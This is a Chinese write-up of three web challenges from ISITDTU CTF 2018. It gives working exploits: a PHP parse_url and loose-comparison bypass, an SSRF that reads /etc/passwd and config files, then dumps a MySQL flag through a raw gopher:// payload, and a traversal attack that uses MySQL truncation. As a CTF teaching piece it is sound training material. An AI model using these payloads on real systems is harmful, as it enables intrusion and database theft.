ISITDTU CTF 2018 部分Web题目Writeup

28号的时候师傅们都在打real world ctf,看了一下real world ctf实在玩不动。。。于是就去玩了玩这个越南的ctf比赛的web部分的题目。整体而言这个比赛的web部分的题目偏中等难度,还是比较适合新手的一次练手,部分题目也有一定的新意。这里给出部分题目的writeup。

 

IZ

题目地址

打开题目可以获得题目源码:

 <?php

include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url)) 
{
    die("...");
}
if (preg_match("/0/i", $url)) 
{
    die("...");
}
if (preg_match("/w+/i", $url)) 
{
    die("...");
}    
if(isset($_GET['_']) && !empty($_GET['_']))
{
    $control = $_GET['_'];        
    if(!in_array($control, array(0,$number1)))
    {
        die("fail1");
    }
    if(!in_array($control, array(0,$number2)))
    {
        die("fail2");
    }
    if(!in_array($control, array(0,$number3)))
    {
        die("fail3");
    }
    echo $flag;
}
show_source(__FILE__);
?>

可以看到题目的逻辑主要是获取query_string后用parse_url处理,处理后的$url再进行过滤,可以看到这里的过滤非常严所以想要绕过过滤还是有一定难度的。
然而parse_url函数存在一个bug:
当url的格式为http:/localhost///x.php?key=value的方式可以使其返回False
这样就可以成功绕过之后的三次preg_match的过滤.
绕过三次preg_match的过滤后程序又进行了三次in_array()判断,而三次in_array()的数组都存在0这样一个元素。而由php弱类型的特性,in_array()在判断时使用的是弱比较,当比较一个字符串和一个数字时默认会尝试把字符串转换为数字,如果字符串的第一个字符不是数字的话则该字符串会被转化成0.具体的转化规则可以参考php.net中的描述
因此最终的payload为:

///?_=a

访问即可获取flag。

 

Friss

题目地址

题目进去后是一个表单页面:
curl1

可以判断这个题目应该是要考ssrf相关的东西。于是首先测试file协议看能不能读到文件,输入file:///etc/passwd,结果题目返回:

NULL
Only access to localhost

可以看到后台判断了服务器是否为localhost,所以我们通过file://localhost/etc/passwd即可绕过限制。这里我们尝试读题目源码:
file://localhost/var/www/html/index.php

<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
    $url = $_POST['url'];
    $content_url = getUrlContent($url);
}
else
{
    $content_url = "";
}
if(isset($_GET['debug']))
{
    show_source(__FILE__);
}


?>

file://localhost/var/www/html/config.php

<?php


$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>

可以看到在config.php中告诉我们flag在数据库中且给出了我们一个空密码的mysql账户。因此我们便可以联想到34c3ctf中的一道使用gopher协议攻击mysql的题目

这里gopher协议的主要功能是可以直接发起socket连接获取数据,而且由于mysql这里给出的密码是空密码,因此可以通过gopher发起sql请求来获取数据。
因此我们可以在本地用mysql搭建同样的环境,使用mysql客户端进行一次连接并获取执行读取flag的操作,用wireshark抓包后将抓取到的数据urlencode之后构造成符合gopher结构的payload即可获取到最后的flag。
首先我们创建相同的用户和同样的表结构:database然后给该用户此数据库的权限后使用该用户登入,获取该数据库内的flag信息,同时使用wireshark抓取lo上的包:

wireshark中我们设置只显示客户端发送的数据包,以原始数据的形式显示
将数据复制下来转换成urlencode的形式,构造gopher的链接为:

gopher://127.0.0.1:3306/_%A8%00%00%01%85%A6%FF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00mysql_native_password%00f%03_os%05Linux%0C_client_name%08libmysql%04_pid%0519500%0F_client_version%065.7.22%09_platform%06x86_64%0Cprogram_name%05mysql%21%00%00%00%03select%20%40%40version_comment%20limit%201%12%00%00%00%03SELECT%20DATABASE%28%29%05%00%00%00%02ssrf%0F%00%00%00%03show%20databases%0C%00%00%00%03show%20tables%06%00%00%00%04flag%00%13%00%00%00%03select%20%2A%20from%20flag%01%00%00%00%01

最后可以在回显中获取flag

 

NNService

题目地址

先扫描查看是否存在源码泄露,发现存在robots.txt,提示存在源码bk/bk.zip,访问即可获取题目的源码。
这里我们主要分析题目最后导致getflag的两个点,在index.controller.php中,首先分析更改个人信息的位置上传头像的点:

           if($_FILES['avatar'] and $_FILES["avatar"]["error"] == 0){
                if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg") or ($_FILES["avatar"]["type"] == "image/png")) and $_FILES['avatar']['size']<65535){
                    $info=getimagesize($_FILES['avatar']['tmp_name']);
                    if(@is_array($info) and array_key_exists('mime',$info)){
                        $type=explode('/',$info['mime'])[1];
                        $filepath=$this->user->getuser().".".$type;
                        $filename="uploads/".$filepath;
                        if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
                            $this->user->edit("avatar",array($filepath,$type));
                            if(strpos($filepath,"..") !== false)
                            {
                                die("Hacker, cut please!");
                            }
                            else if(move_uploaded_file($_FILES['avatar']['tmp_name'], $filename)){
                                quit_and_refresh('Upload success!','edit');
                            }
                            quit_and_refresh('Success!','edit');
                        }
                    }else {
                        //TODO!report it!
                        quit('Only allow gif/jpeg/png files smaller than 64kb!');
                    }
                }
                else{
                    //TODO!report it!
                    quit('Only allow gif/jpeg/png files smaller than 64kb!');
                }
            }

分析代码流程,首先判断图片的mime类型,然后使用getimagesize获取图片的信息,之后从getimagesize获取到的图片信息中获取图片的后缀名,之后可以看到$filepath=$this->user->getuser().".".$type;,将用户名与图片名称拼接为图片上传路径,后调用$this->user->edit("avatar",array($filepath,$type));,跟到user.class.php文件中可以发现这一步的操作实质是将文件名写入了数据库中。之后使用强等于判断文件名中是否含有..,如果含有..则终止整个流程,否则将移动上传的图片到upload文件夹下,命名为用户名.文件类型;
然后我们再分析export处的源码:

public function export(){
        $avatar=$this->user->getavatar();
        if(substr($avatar,0,5)!=="data:"){
            $fileavatar=substr($this->user->getavatar(),1);
            $avatar = "uploads/".$fileavatar;


            if(file_exists($avatar) and filesize($avatar)<65535 and strpos($fileavatar,"..")==false){
                $data=file_get_contents($avatar);
                if(!$this->user->updateavatar($data)) quit('Something error!');
            }
            else{
                //TODO!report it!
                $out="Your avatar is invalid, so we reported it"."</p>";
                include("templates/error.html");
                die("<br>");
            }
        }
        $article=$this->user->getarticle();
        $data="";
        for($i=0;$i<count($article);$i++){
            if($i!=count($article)-1){
                $data.=$article[$i][2]."rn";
                $data.=$article[$i][3]."n";
                $data.="----------n";
            }
            else{
                $data.=$article[$i][2]."rn";
                $data.=$article[$i][3]."n";
            }
        }
        $data.="==========n";
        $avatar=$this->user->getavatar(1);
        $data.=base64_encode($avatar[1])."n";
        $data.=$avatar[3];
        header("Content-type: application/octet-stream");
        header("Content-Transfer-Encoding: binary");
        header("Accept-Ranges: bytes");
        header("Content-Length: ".strlen($data));
        header("Content-Disposition: attachment; filename="".$this->user->getuser().""");
        echo $data;
}

可以看到export处的代码在进行导出时,首先调用$avatar=$this->user->getavatar();获取头像的信息,我们跟到user.class.php中可以发现这一步操作便是将我们之前写入数据库的文件名取出。然后这里的代码对文件进行判断,判断文件是否存在,文件大小是否小于65535,以及使用弱等于判断文件名中是否含有..。之后便获取文件内容并base64加密后拼接上之前的一些信息输出文件。
这里我们可以看到主要的漏洞点在于写入数据库的操作在判断文件名是否包含..之前,因此我们即使文件名中包含了..最后不合法的文件名也会被写入数据库。而在之后export处读取到文件名后使用的是弱等于判断:

strpos($fileavatar,"..")==false

然而当我们构造类似../flag.php的字符串时,strpos返回..出现的位置0,而0==false成立。因此我们便可以成功实现目录穿越。
但是这里还有一点:我们的文件名的生成方式是用户名.文件类型,文件类型由getimagesize()函数获得,因此只能是图片文件的后缀名,那么怎样才能截断这个后缀名从而成功获取flag.php的源码?
这里我们查看之前下载到的源码中的sql文件:

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(32) primary key auto_increment,
  `username` varchar(100) UNIQUE KEY,
  `nickname` varchar(100) UNIQUE KEY,
  `password` varchar(32),
  `email` varchar(100) UNIQUE KEY
);

CREATE TABLE IF NOT EXISTS `articles` (
  `id` int(32) primary key auto_increment,
  `user_id` int(32),
  `title` varchar(100),
  `content` varchar(500)
);

CREATE TABLE IF NOT EXISTS `avatar` (
    `id` int(32) primary key auto_increment,
    `data` blob,
    `user_id` int(32) UNIQUE KEY,
    `filepath` varchar(100),
    `photo_type` varchar(20)
);

可以看到这里的sql文件中限制了图片路径filepath字段的长度最多为100,用户名username的长度也最多为100。这里便可以联想到mysql的一个性质:当mysql开启宽松模式时,在INSERT的时候,如果你插入的字符超出了MySQL的字段长度,MySQL会自动截断到最大长度然后插入,并不会出错。,具体可以参考这篇文章:http://www.91ri.org/5963.html
因此我们如果注册长度为100的用户名,在将文件名写入数据库时,用户名之后拼接的后缀便会被截断从而无法进入数据库,因此便实现了我们对文件的控制。
最后解题的方法为:

  • 注册用户名:..//////////////////////////////////////////////////////////////////////////////////////////flag.php
  • edit处随意上传一张图片
  • export处导出数据,便可获得flag。

 

总结

这场比赛整体难度适中,比较适合新手用于提高自己的水平。此外比赛源码已经上传到https://github.com/susers/Writeups上,欢迎大家star与pull request!

 

参考资料

(完)